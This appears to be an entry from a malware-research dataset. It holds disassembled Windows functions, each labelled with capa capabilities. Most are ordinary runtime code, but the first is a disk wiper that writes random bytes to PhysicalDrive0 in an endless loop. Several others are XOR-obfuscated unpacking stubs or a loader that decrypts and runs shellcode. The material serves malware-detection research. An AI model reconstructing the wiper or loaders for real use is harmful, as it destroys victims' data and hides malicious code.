joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b5f
Capabilities:
Create thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x234
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x40000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401c77
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MsgBox_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], 0
jmp 0x401c35
call sym._rand
movsx ecx, al
mov edx, 0x80808081
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 7
mov ebx, ecx
sar ebx, 0x1f
sub eax, ebx
mov edx, eax
mov eax, edx
shl eax, 8
sub eax, edx
sub ecx, eax
mov edx, ecx
lea ecx, [ebp - 0x210]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1ff
jle 0x401bf9
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x214]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
jmp 0x401bf0
nop
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x4020a4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x402c78
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x402c97
mov eax, 0
jmp 0x402cdb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x402cba
mov eax, 0
jmp 0x402cdb
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x402cd6
mov eax, 0
jmp 0x402cdb
mov eax, 1
leave
ret
Function at 0x402cdd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x402d3c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402d34
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402d34
mov eax, dword [ebp - 4]
jmp 0x402d50
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402d11
mov eax, 0
leave
ret
Function at 0x7d8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.007d81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x7d807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d806a
add dl, dl
jne 0x7d8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d80dc
xor eax, eax
add dl, dl
jne 0x7d8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x7d817d
add dl, dl
jne 0x7d80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x7d80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x7d8075
mov eax, 1
add dl, dl
jne 0x7d80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x7d80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d80e1
sub eax, ebx
mov ebx, 1
jne 0x7d8128
mov ecx, 1
add dl, dl
jne 0x7d810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x7d813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x7d814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x7d8136
cmp eax, 0x7d00
jae 0x7d816d
cmp eax, 0x500
jb 0x7d8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
cmp eax, 0x7f
ja 0x7d8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x7d8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x7d819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x7d8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..retplne
mov ebx, 0x40de38
nop
nop
mov ecx, 0x65785d3f
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x674660e
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x401c80
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_narrow_argv
call sub.ucrtbase.dll__initialize_narrow_environment
call 0x401cf0
mov esi, dword [eax]
call sub.ucrtbase.dll___p___argv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00401d30
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll___p___argc]
Function at 0x2e0121e5
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
or eax, 0xffffffff
push esi
mov esi, 0xff
cmp dword [0x2e023350], ecx
jne 0x2e01222e
mov dword [0x2e023350], 1
push edi
push 8
mov edx, ecx
pop edi
test dl, 1
je 0x2e01221a
shr edx, 1
xor edx, 0xedb88320
jmp 0x2e01221c
shr edx, 1
dec edi
test edi, edi
jg 0x2e01220b
mov dword [ecx*4 + 0x2e022f50], edx
inc ecx
cmp ecx, esi
jle 0x2e012206
pop edi
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jbe 0x2e01224f
mov edx, dword [ebp + 8]
movzx edx, byte [edx]
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x2e022f50]
inc dword [ebp + 8]
dec ecx
jne 0x2e012235
not eax
pop esi
pop ebp
ret 8

Function at 0x2e0128d3
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x2e022064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x20c], eax
xor eax, eax
push edi
mov dword [ebp - 0x208], eax
mov ebx, 0xffff
mov edi, 0x80070000
lea ecx, [ebp - 0x218]
push ecx
push eax
push eax
push eax
lea ecx, [ebp - 0x210]
push ecx
lea ecx, [ebp - 0x204]
push ecx
push eax
push dword [ebp - 0x20c]
mov dword [ebp - 0x210], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov esi, eax
test esi, esi
jle 0x2e01293f
and esi, ebx
or esi, edi
test esi, esi
jne 0x2e0129bf
lea eax, [ebp - 0x208]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x20c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jle 0x2e01296e
and esi, ebx
or esi, edi
test esi, esi
jl 0x2e0129d4
push dword [ebp - 0x208]
call fcn.2e0128d3
mov esi, eax
test esi, esi
jle 0x2e012987
and esi, ebx
or esi, edi
test esi, esi
jl 0x2e0129d4
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x20c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
test esi, esi
jle 0x2e0129bb
and esi, ebx
or esi, edi
test esi, esi
jl 0x2e0129d4
jmp 0x2e0129c7
cmp esi, 0x80070103
je 0x2e0129d2
test esi, esi
jne 0x2e0129d4
xor eax, eax
jmp 0x2e012904
xor esi, esi
cmp dword [ebp - 0x208], 0
je 0x2e0129e9
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.2e0142db
leave
ret 4
Function at 0x2e0129fc
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x2e022064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.2e014486
add esp, 0x10
cmp eax, 0x50
jne 0x2e012a39
mov eax, 0x8007007a
jmp 0x2e012a7a
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x2e012a89
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.2e01524d
pop ecx
pop ecx
test eax, eax
je 0x2e012a6a
xor ecx, ecx
mov word [eax], cx
cmp cx, word [eax + 2]
je 0x2e012a4b
cmp word [ebp - 0x20c], 0
je 0x2e012a78
test eax, eax
jne 0x2e012a39
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.2e0142db
leave
ret 8
cmp eax, 2
je 0x2e012aa3
cmp eax, 3
je 0x2e012aa3
test eax, eax
jle 0x2e012aa5
and eax, 0xffff
or eax, 0x80070000
jmp 0x2e012aa5
xor eax, eax
cmp eax, 1
je 0x2e012a39
jmp 0x2e012a7a
Function at 0x414e5a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
xor ebx, ebx
push edi
push ebx
mov edi, ecx
push 9
push 0x110a
push dword [edi + 0x1b4]
call esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
push eax
push ebx
push 0x110c
mov dword [ebp - 0x28], 0xd
push dword [edi + 0x1b4]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 0x63
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
cmp eax, ebx
pop ebx
jne 0x414ec3
xor eax, eax
jmp 0x414ece
mov ecx, dword [ebp + 8]
mov eax, dword [eax + 0x20]
push 1
mov dword [ecx], eax
pop eax
leave
ret 4

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3fc348da
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7a850776
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401805
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401844
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401844
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401844
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401844
cmp dword [ecx + 0x74], 0xe
jbe 0x401844
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x320307df
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x320307ee
pop dword [ebp - 0x44]
mov eax, 0x7b7074b
add eax, 0x2a4c00a3
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xfcf6493b
sub dword [ebp - 0x54], 0xaea403f0
mov dword [ebp - 0x50], 0x879afe52
sub dword [ebp - 0x50], 0x5567b20d
mov dword [ebp - 0x4c], 0xfb9e7eae
sub dword [ebp - 0x4c], 0xaf523a80
mov dword [ebp - 0x48], 0x2f84ae69
add dword [ebp - 0x48], 0xd07b5197
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x7684ded5
add dword [ebp - 0x54], 0xfded8a81
mov dword [ebp - 0x50], 0x46edb7c6
add dword [ebp - 0x50], 0xfa7ea9af
mov dword [ebp - 0x4c], 0x17ca833c
sub dword [ebp - 0x4c], 0xb45b16d0
mov dword [ebp - 0x48], 0xd497bb56
add dword [ebp - 0x48], 0x2b6844aa
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xc54055
sub eax, 0xcebfefdd
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x483a2
push 0
call eax
mov ecx, 0x4af9
xor esi, esi
add esi, eax
mov edi, 0x3207d600
add edi, dword [ebp - 0x44]
mov edx, 0x4bd5043c
sub dword [ebp - 0x1c], 0xdab0c2e7
mov ebx, dword [edi]
mov dword [ebp - 0x40], 0x79e6149e
xor ebx, edx
mov dword [ebp - 0x40], 0xaef6d741
mov dword [esi], ebx
xor dword [ebp - 0x38], ecx
add esi, 0x948b159
add esi, 0xf6b74eab
add edi, 4
loop 0x320308fb
add eax, 0x14ece856
sub eax, 0x14ebc99f
xor ebx, ebx
add ebx, eax
add eax, 0x78579c68
add eax, 0x87a8639d
mov ecx, 0xcb85b4ef
add ecx, 0x667a4b11
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x41b140
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x426138], 0
jne 0x41b1c1
cmp dword [0x426158], 0
jne 0x41b170
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x426158], eax
test eax, eax
jne 0x41b170
push str.GetEnvironmentStrings_failed
call fcn.0041a95c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x426158]
jmp 0x41b184
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004154e4
pop ecx
mov edi, eax
test eax, eax
jne 0x41b17c
lea edi, [ebp + 1]
push edi
call fcn.00414de8
pop ecx
mov ebx, eax
mov dword [0x42613c], ebx
test ebx, ebx
jne 0x41b1ae
xor eax, eax
jmp 0x41b284
push edi
mov edx, dword [0x426158]
push edx
push ebx
call fcn.00415394
add esp, 0xc
jmp 0x41b1e1
xor esi, esi
mov ebx, dword [0x426138]
jmp 0x41b1db
push eax
call fcn.004154e4
pop ecx
test eax, eax
jne 0x41b1d7
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41b1cb
lea ebx, [esi + 4]
push 4
mov dword [0x426140], ebx
inc ebx
push ebx
call fcn.004148c0
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41b204
xor eax, eax
jmp 0x41b284
cmp dword [0x426138], 0
jne 0x41b235
xor esi, esi
mov ebx, dword [0x42613c]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41b226
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004154e4
pop ecx
mov edi, eax
test eax, eax
jne 0x41b21c
jmp 0x41b266
xor esi, esi
mov ebx, dword [0x426138]
mov eax, dword [esp]
mov edi, eax
jmp 0x41b260
push eax
call fcn.004154e4
pop ecx
test eax, eax
je 0x41b255
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41b259
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41b244
mov eax, dword [0x426138]
test eax, eax
je 0x41b276
push eax
call fcn.00414df8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x426138], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x299d045e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x432060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x57a02975
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4038bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x41cbf0
cmp edx, dword [eax]
je 0x4038df
add eax, 8
inc ecx
cmp eax, 0x41cc80
jl 0x4038d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x41cbf0]
jne 0x403a0d
mov eax, dword [0x41d59c]
cmp eax, 1
je 0x4039e7
test eax, eax
jne 0x403910
cmp dword [0x41c86c], 1
je 0x4039e7
cmp edx, 0xfc
je 0x403a0d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403947
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404680
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403b50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40398a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403b50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b9ec
push edi
call fcn.00406020
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404680
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404690
lea eax, [ebp - 0xa0]
push 0x40b9cc
push eax
call fcn.00404690
push dword [esi + 0x41cbf4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404690
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405f96
add esp, 0x2c
pop edi
jmp 0x403a0d
lea eax, [ebp + 8]
lea esi, [esi + 0x41cbf4]
push 0
push eax
push dword [esi]
call fcn.00403b50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401237
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
and dword [ebp - 0x10], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x10]
push edi
mov dword [ebp - 0x30], esi
mov eax, dword [esi + 4]
mov edi, dword [esi]
mov dword [ebp - 0x14], eax
mov eax, dword [0x41b2f8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x41b2fc]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x24], eax
call fcn.00401230
mov ebx, dword [ebp - 0x10]
mov ecx, dword [0x41b300]
add ebx, 0x23f
mov edx, dword [0x41b304]
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, edi
mov dword [ebp - 0x10], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xae300c], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0xae3008]
cmove eax, dword [ebp - 0x10]
and dword [ebp - 0x10], 0
cmp dword [0xae300c], 0x3eb
mov dword [0xae3008], eax
mov eax, dword [0xae2f60]
cmove eax, dword [ebp - 0x10]
mov dword [0xae2f60], eax
lea eax, [ebx + edi]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
add dword [ebp - 8], edx
and dword [ebp - 0xc], 0
mov dword [0xae3004], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebx + esi]
mov edx, esi
lea ebx, [ebx + 0x61c88647]
shr edx, cl
add edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
xor edx, eax
mov eax, dword [ebp - 4]
xor eax, edx
mov edx, dword [ebp - 0x2c]
sub edi, eax
mov dword [ebp - 4], eax
dec dword [ebp - 0x18]
mov dword [ebp - 0xc], edi
jne 0x401291
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov dword [esi], edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret